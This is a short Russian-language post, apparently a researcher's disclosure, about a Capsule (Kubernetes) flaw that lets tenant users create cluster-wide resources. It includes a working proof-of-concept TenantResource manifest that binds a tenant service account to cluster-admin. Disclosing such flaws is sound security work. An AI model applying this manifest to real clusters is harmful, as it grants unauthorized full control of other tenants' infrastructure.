История о том, как разработчики Capsule (projectcapsule) дали пользователям возможность создавать и читать любой кластерный ресурс и отказывались признавать, что это уязвимость. Частично исправили через месяц после моего отчёта, заблокировав меня и мой отчёт. Уязвимость чтения кластерных ресурсов по-прежнему не закрыта.
Самый тривиальный способ эскалации до кластер-админа из всех, что я видел:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: pwn
namespace: alice-ns
spec:
resyncPeriod: 10s
resources:
- rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pwn-alice-cluster-admin
subjects:
- kind: ServiceAccount
name: alice
namespace: tenant-bootstrap
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin